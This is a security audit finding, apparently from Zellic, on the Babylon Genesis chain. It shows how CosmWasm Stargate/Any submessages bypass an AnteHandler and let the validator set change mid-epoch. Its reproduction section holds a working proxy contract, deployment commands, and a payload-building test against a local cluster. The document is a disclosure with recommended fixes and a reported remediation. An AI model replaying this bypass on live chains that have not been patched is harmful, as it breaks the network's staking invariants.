Assessment reports>Babylon Genesis Chain>Critical findings>CosmWasm ,Stargate,/,Any, messages bypass AnteHandler checks
GeneralOverview
Audit ResultsAssessment Results
Category: Business Logic

CosmWasm Stargate/Any messages bypass AnteHandler checks

Critical Severity
Critical Impact
High Likelihood

Description

The epoching module's DropValidatorMsgDecorator is intended to disallow unwrapped versions of the staking module's message from being sent in order to maintain its invariants by disallowing those messages from appearing either directly or nested inside an authz.MsgExec in a transaction. However, a wasmd.MsgExecuteContract message can dispatch one of these messages as a submessage, bypassing this handler, breaking the epoching module's invariants by allowing changes to the validator set in the middle of an epoch.

Reproduction steps

The following CosmWasm contract allows proxying arbitrary Base64-encoded Cosmos messages through it using either the Stargate or Any message types:

use cosmwasm_schema::cw_serde;
#[cfg(not(feature = "library"))]
use cosmwasm_std::entry_point;
use cosmwasm_std::{AnyMsg, Binary, CosmosMsg, DepsMut, Env, MessageInfo, Response, StdError};

#[cfg_attr(not(feature = "library"), entry_point)]
pub fn instantiate(
    _deps: DepsMut,
    _env: Env,
    _info: MessageInfo,
    _msg: InstantiateMsg,
) -> Result<Response, StdError> {
    Ok(Response::default())
}

#[cfg_attr(not(feature = "library"), entry_point)]
pub fn execute(
    _deps: DepsMut,
    _env: Env,
    _info: MessageInfo,
    msg: ExecuteMsg,
) -> Result<Response, StdError> {
    match msg {
        ExecuteMsg::Stargate { type_url, value } => {
            let msg: CosmosMsg = CosmosMsg::Stargate {
                type_url,
                value: Binary::from_base64(&value)?,
            };
            Ok(Response::new().add_message(msg))
        }
        ExecuteMsg::Any { type_url, value } => {
            let msg: CosmosMsg = CosmosMsg::Any(AnyMsg {
                type_url,
                value: Binary::from_base64(&value)?,
            });
            Ok(Response::new().add_message(msg))
        }
    }
}

#[cw_serde]
pub struct InstantiateMsg {}

#[cw_serde]
pub enum ExecuteMsg {
    Stargate { type_url: String, value: String },
    Any { type_url: String, value: String },
}

In the testing cluster created by make start-deployment-btc-staking-integration-bitcoind from babylon-integration-deployment, a testing account can be created with babylond keys add test --recover with the seed phrase from /babylondhome/key_seed.json; the resulting address is in the environment variable TEST_ADDRESS in the below scripts.

The above contract is deployed to the cluster, and its address is stored as well as the address of a validator to delegate to:

babylond tx wasm store /cw_stargate.wasm -y --from $TEST_ADDRESS --chain-id chain-test --gas 1500000 --fees 3000ubbn
babylond tx wasm instantiate 1 '{}' -y --from $TEST_ADDRESS --chain-id chain-test --admin $TEST_ADDRESS --label foo --fees 400ubbn
CONTRACT_ADDR=$(babylond q wasm list-contract-by-code 1 -o json | jq -r '.contracts[0]')
VAL_ADDR=$(jq -r '.app_state.checkpointing.genesis_keys[0].validator_address' < /babylondhome/config/genesis.json)

A payload containing a MsgDelegate message, which DropValidatorMsgDecorator should prevent, can be constructed with the following unit test, with the above CONTRACT_ADDR and VAL_ADDR addresses inserted as DelegatorAddress and ValidatorAddress:

package app

import (
    "fmt"
    "testing"
    "encoding/base64"
    "google.golang.org/protobuf/proto"
    stakingtypes "cosmossdk.io/api/cosmos/staking/v1beta1"
    v1beta12 "cosmossdk.io/api/cosmos/base/v1beta1"
)

func TestManualMsgDelegate(t *testing.T) {
    msg := stakingtypes.MsgDelegate {
        DelegatorAddress: "bbn14hj2tavq8fpesdwxxcu44rty3hh90vhujrvcmstl4zr3txmfvw9sw76fy2",
        ValidatorAddress: "bbnvaloper1u974vg80r99gjglm2ql62zz302g6p4smvyqatz",
        Amount: &v1beta12.Coin{ Denom:"ubbn", Amount:"1" },
    }
    marshalOption := proto.MarshalOptions{
        Deterministic: true,
    }
    txBytes, _ := marshalOption.Marshal(&msg)
    s := base64.StdEncoding.EncodeToString(txBytes)
    fmt.Printf("%v\n", s)
}

This results in the following payload:

% go test -run TestManualMsgDelegate
Cj5iYm4xNGhqMnRhdnE4ZnBlc2R3eHhjdTQ0cnR5M2hoOTB2aHVqcnZjbXN0bDR6cjN0eG1mdn
c5c3c3NmZ5MhIxYmJudmFsb3BlcjF1OTc0dmc4MHI5OWdqZ2xtMnFsNjJ6ejMwMmc2cDRzbXZ5
cWF0ehoJCgR1YmJuEgEx
PASS
ok      github.com/babylonlabs-io/babylon/app   0.799s

Executing the contract with the above payload results in a delegate event being emitted, visible when querying the resulting transaction.

babylond tx wasm execute $CONTRACT_ADDR '{"stargate": {"type_url": "/cosmos.staking.v1beta1.MsgDelegate", "value": "'"${PAYLOAD}"'"}}' -y --from $TEST_ADDRESS --chain-id chain-test --fees 600ubbn --amount 1ubbn --gas 300000
babylond q tx $TXHASH

Impact

Bypassing the DropValidatorMsgDecorator AnteHandler allows the validator set to be modified outside of epoch boundaries.

Recommendations

Disallow validator messages from being encoded by CosmWasm by providing either a WithMessageHandlerDecorator option that disallows validator messages or a WithMessageEncoders option that disables Any messages entirely.

Additionally, filter validator messages with a CircuitBreaker that rejects validator messages unless a flag is set in the context, and set and clear that flag in the epoching module's EndBlocker before and after processing queued messages.

Remediation

This issue has been acknowledged by Babylon Labs, and a fix was implemented in commit 822d0e6c.

A different approach is taken in this commit: The RegisterServicesWithoutStaking function temporarily removes the staking module from app.ModuleManager.Modules to prevent it from being registered with app.MsgServiceRouter. The TestStakingRouterDisabled test tests that the staking module's messages cannot be looked up through app.MsgServiceRouter.

Zellic © 2025Back to top ↑